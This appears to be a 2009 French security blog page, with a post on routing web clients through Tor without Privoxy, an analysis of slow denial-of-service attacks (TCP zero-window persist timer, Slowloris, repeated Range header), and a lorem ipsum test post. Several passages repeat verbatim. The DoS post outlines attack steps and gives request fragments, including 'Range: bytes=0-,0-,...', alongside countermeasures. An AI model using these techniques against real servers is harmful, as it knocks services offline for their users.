Bien entendu je ne déconseille pas l'utilisation de privoxy. Cet article pointe juste du doigt les raisons d'usage de privoxy. Il est bien plus simple d'utiliser privoxy pour tout client HTTP 'lourd' comme firefox. Mais dans d'autres usages, il est tout aussi rapide d'utiliser curl en mode socks5-hostname.
Pour aller un peu plus loin/
Pour tous les autres services (SMTP, IRC, autres...), il est possible d'utiliser la méthode proxy Socks + redirection DNS vers DNSPort.
Pour les services ne sachant pas utiliser un proxy socks, il faut alors employer un hack comme tor+socat, ou bien utiliser d'autre méthode indiquée sur cette même page.
https://wiki.torproject.org/noreply/TheOnionRouter/TorifyHOWTO#Socat
Cet anonymat repose sur l'adresse IP source présentée aux services visités et uniquement cette IP source.
Tor est basé sur un nuage de noeuds Tor, dans lequel la communication client entre, effectue un certain nombre d'opérations de routage, puis s'extrait par un noeud de sortie.
Le destinataire ne connaît donc que l'IP du noeud de sortie Tor, et tor est construit de façon à ce que même le possesseur du noeud de sortie ne puisse pas reconstruire le chemin menant à l'IP source réelle.
Ceci dit, un internaute laisse énormément plus d'informations personnelles qu'une simple IP source. La nature même du trafic peut renseigner sur l'identité de l'internaute (consultation de sa messagerie. Message laissé sur un forum, etc..) Les outils réseaux comme un navigateur web fournissent de plus un grand nombre d'informations au site distant: plateforme utilisé, version, encodage utilisé. Ces informations peuvent être alors utilisées pour tracer l'internaute.
Il existe de nombreux autres problèmes concernant le surf sur le web ou l'insertion judicieuse de scripts javascripts ou d'enregistrement DNS permettent de tracer l'IP source réelle naviguant sur des pages web.
Consulter la FAQ de Tor à ce sujet sur https://wiki.torproject.org/noreply/TheOnionRouter/TorFAQ
Pour le surf internet, Tor recommande Privoxy. Nous verrons que privoxy n'est en aucun cas incontournable. Tout d'abord nous verrons succintement comment fonctionne privoxy, ensuite comment l'utiliser sans privoxy tout en conservant un niveau d'anonymat acceptable.
Les recommandations faites pour les clients web seront vraies pour tout type de client internet.
1/
Le fonctionnement de Tor.
Tor n'est pas un proxy HTTP. Toute tentative d'utilisation de Tor comme proxy HTTP se solde par un message:
tor@exploitability:~$ export http_proxy=127.0.0.1:9050
tor@exploitability:~$ wget http://www.google.fr
--2009-06-25 16:24:01-- http://www.google.fr/
Connexion vers 127.0.0.1:9050...connecté.
requête Proxy transmise, en attente de la réponse...
Jun 25 16:24:01.771 [warn] Socks version 71 not recognized. (Tor is
not an http proxy.)
501 Tor is not an HTTP Proxy
2009-06-25 16:24:01 ERREUR 501: Tor is not an HTTP Proxy.
tor@exploitability:~$
(Le message d'erreur vient de tor et non de wget)
Privoxy est un proxy HTTP pouvant se chaîner sur un proxy socks. Ainsi, la chaîne complète est:
Firefox -> privoxy -> Tor -> routage Tor -> Destination
Le destinataire ne peut pas remonter jusqu'à la source. Privoxy propose aussi de nombreuses extensions permettant d'anonymiser également les informations envoyées par le navigateur. La conjonction de ces deux facteurs, anonymat de Tor au niveau IP et anonymat de privoxy au niveau client, justifie cet usage.
Ceci dit, nous pouvons nous en passer.
2/
Un proxy HTTP permet d'effectuer des requêtes HTTP sans réaliser des requêtes DNS préalables. Pour se passer de privoxy, il faudra donc utiliser le proxy socks, faire attention aux requêtes DNS et faire attention aux informations envoyées par les clients.
Firefox permet d'utiliser un proxy internet socks:
Concernant les autres logiciels, il suffit de les paramétrer pour utiliser socks.
A titre d'exemple, wget ne sait pas utiliser un proxy socks, mais curl le peut:
On peut par ailleurs noter que l'utilisation de tor entraîne un certain ralentissement du débit internet; 15s pour télécharger la page google.
tor@exploitability:~$ curl --socks5 127.0.0.1:9050 -o /dev/null http://www.google.fr
Jun 25 17:06:26.540 [warn] Your application (using socks5 to port 80) is
giving Tor only an IP address. Applications that do DNS resolves themselves
may leak information. Consider using Socks4A (e.g. via privoxy or socat)
instead. For more information, please see
http://wiki.noreply.org/noreply/TheOnionRouter/TorFAQ#SOCKSAndDNS.
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 5319 0 5319 0 0 340 0 --:--:-- 0:00:15 --:--:-- 1674
tor@exploitability:~$
Ce message d'erreur sera indiqué également lorsque firefox sera utilisé. Ce message est bénin tant que le risque pris par le téléchargement est fait à partir d'adresses IP connues ou que le DNS utilisé est sûr et fiable, ce qui n'est pas forcément toujours le cas.
Pour éviter ce message, deux possibilités sont offertes:
A/
Utiliser un paramétrage de l'outil. Concernant firefox, il suffit de taper about:config dans la barre d'adresse, chercher la clé network.proxy.socks_remote_dns et la mettre à true. Pour curl, utiliser le flag --socks5-hostname:
tor@exploitability:~$ curl --socks5-hostname 127.0.0.1:9050 -o /dev/null http://www.google.fr
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 5319 0 5319 0 0 514 0 --:--:-- 0:00:10 --:--:-- 1270
tor@exploitability:~$
B/
Une autre méthode consiste à utiliser le proxy DNS que peut mettre en oeuvre tor. Une règle iptables suffira pour rediriger toutes les requêtes DNS vers ce service tor
Cette directive tor est indiquée par:
DNSPort PORT
If non-zero, Tor listens for UDP DNS requests on this port and
resolves them anonymously. (Default: 0).
Donc une solution consiste à ajouter une ligne:
tor@exploitability:~$ grep DNSPort /usr/local/etc/tor/torrc
DNSPort 5353
Puis à rediriger les requêtes provenant de chaque client vers ce circuit tor; par exemple pour le client se présentant à partir de 192.168.1.1:
iptables -t nat -A PREROUTING -s 192.168.1.1 -p udp --dport 53 -j REDIRECT --to-ports 5353
Bien entendu, ce n'est pas suffisant. Il faut de plus interdire toute autre communication DNS afin d'éviter qu'une requête puisse sortir.
Enfin, concernant les informations renvoyées par les clients, il est également possible de limiter ou de limiter cette fuite. Firefox permet également de modifier son user-agent, et d'autres informations. Il faut de plus faire attention aux extensions ajoutées pouvant elles aussi divulguer de l'information.
curl permet de modifier son User-agent ou tout autre champ d'entêtes web.
CONCLUSION/
Donc, en paramétrant finement son client web, en utilisant des règles de filtrage iptables il est parfaitement possible de surfer à l'aide de tor sans privoxy tout en conservant un niveau d'anonymat aussi haut que celui offert par tor+privoxy.
Privoxy n'est donc qu'une facilité de configuration pour les utilisateurs.
Bien entendu je ne déconseille pas l'utilisation de privoxy. Cet article pointe juste du doigt les raisons d'usage de privoxy. Il est bien plus simple d'utiliser privoxy pour tout client HTTP 'lourd' comme firefox. Mais dans d'autres usages, il est tout aussi rapide d'utiliser curl en mode socks5-hostname.
Pour aller un peu plus loin/
Pour tous les autres services (SMTP, IRC, autres...), il est possible d'utiliser la méthode proxy Socks + redirection DNS vers DNSPort.
Pour les services ne sachant pas utiliser un proxy socks, il faut alors employer un hack comme tor+socat, ou bien utiliser d'autre méthode indiquée sur cette même page.
https://wiki.torproject.org/noreply/TheOnionRouter/TorifyHOWTO#Socat
dimanche 21 juin 2009
Attaques réseaux lentes
Dernièrement sont parues deux attaques réseaux qui se ressemblent; leur but est identique, réaliser un DOS, et leur méthode également puisque la principe consiste à émettre lentement des données afin d'empêcher le fonctionnement normal du service visé.
La première vient de phrack et concerne TCP 1/ Phrack: Exploiting TCP and the Persist Timer Infiniteness, la seconde de ha.ckers.org 2/ ha.ckers.org: Slowloris HTTP DoS.
1/
TCP est un protocole à timers et débits adaptatif. Il permet ainsi d'assurer des connexions dans des contextes variés. L'attaque présentée par phrack concerne une adaptation aux variations de débits constatées sur les lignes internet.
TCP possède une fenêtre d'envoi, ou taille maximale d'octets pouvant être envoyée sans acquittement par la source. L'émetteur ou le destinataire peuvent décider de la taille de cette fenêtre.
Le destinataire peut donc choisir d'augmenter ou diminuer cette fenêtre, la réduire, voire même la rendre nulle en cas d'incapacité de traitement local ou de surcharge réseau détectée.
La source ne peut donc plus envoyer aucune données tant que cette fenêtre est nulle. TCP va donc attendre que la fenêtre d'envoi de données grandisse avant de renvoyer des données.
La connexion reste ouverte tant qu'elle n'est pas terminée. Le code source de linux précise à ce sujet (conserver ou tuer la connexion):
L'attaque est donc basée sur ce principe
a) on ouvre une connexion
b) on demande un fichier
c) on indique une fenêtre de zéro octets, et on avertit régulièrement la source que la fenêtre est toujours de zéro. La consommation de ressource côté attaquant est minime.
d) L'hôte visé conserve le nombre de connexions ouvertes, et la quantité de mémoire correspondant aux paquets non envoyés.
e) on boucle sur a) un certain nombre de fois.
L'émetteur va donc devoir conserver au niveau applicatif des fichiers ouverts, et au niveau noyau des connexions TCP ouvertes.
Conclusion: DOS.
L'article contient de plus un code source (nkiller2.c) permettant de prouver cette attaque.
La puissance de cette attaque repose sur un des mécanismes de base de TCP. Et c'est bien à ce sujet qu'elle est redoutable. Les failles protocolaires sont les plus difficiles à contrer. Ce n'est pas une erreur de programmation que l'on peut patcher, ce n'est pas une faille de paramétrage. Cette faille fait intrinsèquement partie de TCP, il va être difficile de la corriger.
Ceci dit, j'émettrai deux réserves.
La première concerne la mise en pratique de cette attaque. Il est bien entendu nécessaire que l'hôte visé soit serveur. Mais pas n'importe quel serveur. En imaginant un serveur ssh, la quantité de mémoire consommée risque d'être faible; en effet la réponse d'un serveur ssh tient en quelques octets. A ce sujet, il est éclairant de voir que le PoC vise explicitement un serveur web. nkiller2 réalise une requête GET, puis pose la fenêtre TCP à zéro.
La seconde concerne l'attaque en elle-même. Elle impose une connexion TCP complète, et maintenue dans le temps. L'attaquant voit donc immédiatement quelle est l'IP source de l'attaquant. Il est donc possible de prendre des contremesures.
Enfin, je testerai bien cette attaque contre un proxy HTTP. L'attaquant requete un gros fichier au proxy, mettons une image ISO de DVD, puis envoie des fenêtres TCP à zéro. Je pense que la connexion TCP entre le proxy et le site final ne sera pas de zéro, obligeant ainsi le relais à conserver en mémoire l'intégralité du fichier. Une extension de l'attaque qui pourrait être intéressante.
2/
ha.ckers.org
Cette attaque cible précisément les serveurs HTTP. Comme le dit son auteur, c'est le principe du TCP SynFlood adapté au protocole HTTP.
Le principe consiste à ouvrir presque complètement, mais pas totalement, une session HTTP et à ne rien faire, sauf à la conserver dans cet état. Par exemple en envoyant octet après octet, en prenant garde à ne jamais dépasser le timeout d serveur web:
GET / HTTP/1.1
X-header : une ligne longue (répetition d'une centaine de caractères)
X-header2 : encore une autre ligne
(...)
etc...
Le serveur web va donc utiliser unt hread pour lire cette requête et conserver ce thread ouvert tant que cette requête n'est pas servie. Comme elle peut mettre très longtemps à arriver, le thread ne pourra pas servir à autre chose...
Le serveur web va donc rapidement consumer ses ressources disponibles et ne plus avoir un unique thread de libre pour servir des requêtes légitimes.
Tant que l'attaquant maintient un grand nombre de connexions ouvertes (supérieure aux nombre de threads alloués pour ce site particulier), alors le site est inaccessible.
Cette attaque est pleine de finesse car elle peut faire tomber un unique site web sans toucher aux autres services de la même machine. De plus, comme la connexion n'est pas entièrement ouverte, les logs n'affichent rien (bien entendu, dès que l'attaque termine, les logs se rempliront). Enfin, si le pirate a préalablement ouvert une connexion de type keep-alive, il pourra alors continuer à interroger le serveur alors que toute nouvelle connexion est impossible.
Encore une fois, la même réserve est abordée. L'adresse IP source de l'attaquant est immédiatement connue, et donc filtrable. Il suffit d'interdire à plus d'une adresse IP un maximum de thread, et l'attaque devient inopérante. Deux méthodes sont fournis permettant de contrer cette attaque, toute les deux basées sur ce principe; la première au niveau système en comptant via netstat le nombre d'IP identiques, la seconde au niveau serveur apache directement.
Par ailleurs, ce site web présente un lien vers un message de security focus .
Ce message propose une autre méthode pour attaquer un serveur web. Elle consiste à utilier plusieurs fois l'option Range:
Range: bytes=0-,0-,0-,0-,0-...
le serveur va donc renvoyer autant de fois le fichier que demandé. Ce comportement pourrait être intéressant, encore une fois contre un proxy.
Conclusion:
Les attaques réseaux lentes sont une manière élégante de faire du DOS. Généralement, le DOS implique une énorme connexion, ou une énorme quantité de données à envoyer. Ces deux méthodes montrent qu'il est possible de faire des DoS efficace en envoyant très peu de données.
Je n'ai pas eu le temps de tester contre un proxy, mais je pense que l'expérience serait efficace.
La première vient de phrack et concerne TCP 1/ Phrack: Exploiting TCP and the Persist Timer Infiniteness, la seconde de ha.ckers.org 2/ ha.ckers.org: Slowloris HTTP DoS.
1/
TCP est un protocole à timers et débits adaptatif. Il permet ainsi d'assurer des connexions dans des contextes variés. L'attaque présentée par phrack concerne une adaptation aux variations de débits constatées sur les lignes internet.
TCP possède une fenêtre d'envoi, ou taille maximale d'octets pouvant être envoyée sans acquittement par la source. L'émetteur ou le destinataire peuvent décider de la taille de cette fenêtre.
Le destinataire peut donc choisir d'augmenter ou diminuer cette fenêtre, la réduire, voire même la rendre nulle en cas d'incapacité de traitement local ou de surcharge réseau détectée.
La source ne peut donc plus envoyer aucune données tant que cette fenêtre est nulle. TCP va donc attendre que la fenêtre d'envoi de données grandisse avant de renvoyer des données.
La connexion reste ouverte tant qu'elle n'est pas terminée. Le code source de linux précise à ce sujet (conserver ou tuer la connexion):
It is not killed only because window stays zeroDonc la connexion peut rester ouverte tant que l'autre partie continue d'émettre des paquets TCP continuant de préciser que la fenêtre est de zéro. Il est de plus tout à fait possible de jouer sur le timer TCP permettant de détecter un temps de parcours lent. Plus on répond avec du délai, plus le timer TCP de la source peut conserver la connexion ouverte sans envoi ni réception de paquets.
for some time, window may be zero until armageddon
and even later.
L'attaque est donc basée sur ce principe
a) on ouvre une connexion
b) on demande un fichier
c) on indique une fenêtre de zéro octets, et on avertit régulièrement la source que la fenêtre est toujours de zéro. La consommation de ressource côté attaquant est minime.
d) L'hôte visé conserve le nombre de connexions ouvertes, et la quantité de mémoire correspondant aux paquets non envoyés.
e) on boucle sur a) un certain nombre de fois.
L'émetteur va donc devoir conserver au niveau applicatif des fichiers ouverts, et au niveau noyau des connexions TCP ouvertes.
Conclusion: DOS.
L'article contient de plus un code source (nkiller2.c) permettant de prouver cette attaque.
La puissance de cette attaque repose sur un des mécanismes de base de TCP. Et c'est bien à ce sujet qu'elle est redoutable. Les failles protocolaires sont les plus difficiles à contrer. Ce n'est pas une erreur de programmation que l'on peut patcher, ce n'est pas une faille de paramétrage. Cette faille fait intrinsèquement partie de TCP, il va être difficile de la corriger.
Ceci dit, j'émettrai deux réserves.
La première concerne la mise en pratique de cette attaque. Il est bien entendu nécessaire que l'hôte visé soit serveur. Mais pas n'importe quel serveur. En imaginant un serveur ssh, la quantité de mémoire consommée risque d'être faible; en effet la réponse d'un serveur ssh tient en quelques octets. A ce sujet, il est éclairant de voir que le PoC vise explicitement un serveur web. nkiller2 réalise une requête GET, puis pose la fenêtre TCP à zéro.
La seconde concerne l'attaque en elle-même. Elle impose une connexion TCP complète, et maintenue dans le temps. L'attaquant voit donc immédiatement quelle est l'IP source de l'attaquant. Il est donc possible de prendre des contremesures.
Enfin, je testerai bien cette attaque contre un proxy HTTP. L'attaquant requete un gros fichier au proxy, mettons une image ISO de DVD, puis envoie des fenêtres TCP à zéro. Je pense que la connexion TCP entre le proxy et le site final ne sera pas de zéro, obligeant ainsi le relais à conserver en mémoire l'intégralité du fichier. Une extension de l'attaque qui pourrait être intéressante.
2/
ha.ckers.org
Cette attaque cible précisément les serveurs HTTP. Comme le dit son auteur, c'est le principe du TCP SynFlood adapté au protocole HTTP.
Le principe consiste à ouvrir presque complètement, mais pas totalement, une session HTTP et à ne rien faire, sauf à la conserver dans cet état. Par exemple en envoyant octet après octet, en prenant garde à ne jamais dépasser le timeout d serveur web:
GET / HTTP/1.1
X-header : une ligne longue (répetition d'une centaine de caractères)
X-header2 : encore une autre ligne
(...)
etc...
Le serveur web va donc utiliser unt hread pour lire cette requête et conserver ce thread ouvert tant que cette requête n'est pas servie. Comme elle peut mettre très longtemps à arriver, le thread ne pourra pas servir à autre chose...
Le serveur web va donc rapidement consumer ses ressources disponibles et ne plus avoir un unique thread de libre pour servir des requêtes légitimes.
Tant que l'attaquant maintient un grand nombre de connexions ouvertes (supérieure aux nombre de threads alloués pour ce site particulier), alors le site est inaccessible.
Cette attaque est pleine de finesse car elle peut faire tomber un unique site web sans toucher aux autres services de la même machine. De plus, comme la connexion n'est pas entièrement ouverte, les logs n'affichent rien (bien entendu, dès que l'attaque termine, les logs se rempliront). Enfin, si le pirate a préalablement ouvert une connexion de type keep-alive, il pourra alors continuer à interroger le serveur alors que toute nouvelle connexion est impossible.
Encore une fois, la même réserve est abordée. L'adresse IP source de l'attaquant est immédiatement connue, et donc filtrable. Il suffit d'interdire à plus d'une adresse IP un maximum de thread, et l'attaque devient inopérante. Deux méthodes sont fournis permettant de contrer cette attaque, toute les deux basées sur ce principe; la première au niveau système en comptant via netstat le nombre d'IP identiques, la seconde au niveau serveur apache directement.
Par ailleurs, ce site web présente un lien vers un message de security focus .
Ce message propose une autre méthode pour attaquer un serveur web. Elle consiste à utilier plusieurs fois l'option Range:
Range: bytes=0-,0-,0-,0-,0-...
le serveur va donc renvoyer autant de fois le fichier que demandé. Ce comportement pourrait être intéressant, encore une fois contre un proxy.
Conclusion:
Les attaques réseaux lentes sont une manière élégante de faire du DOS. Généralement, le DOS implique une énorme connexion, ou une énorme quantité de données à envoyer. Ces deux méthodes montrent qu'il est possible de faire des DoS efficace en envoyant très peu de données.
Je n'ai pas eu le temps de tester contre un proxy, mais je pense que l'expérience serait efficace.
samedi 20 juin 2009
Premier message
Réalisé à des fins de tests.
Plusieurs mots; lorem ipsum, lorem ipsum.
Un mot souligné.
Plusieurs mots; lorem ipsum, lorem ipsum.
Un mot souligné.
Inscription à :
Articles (Atom)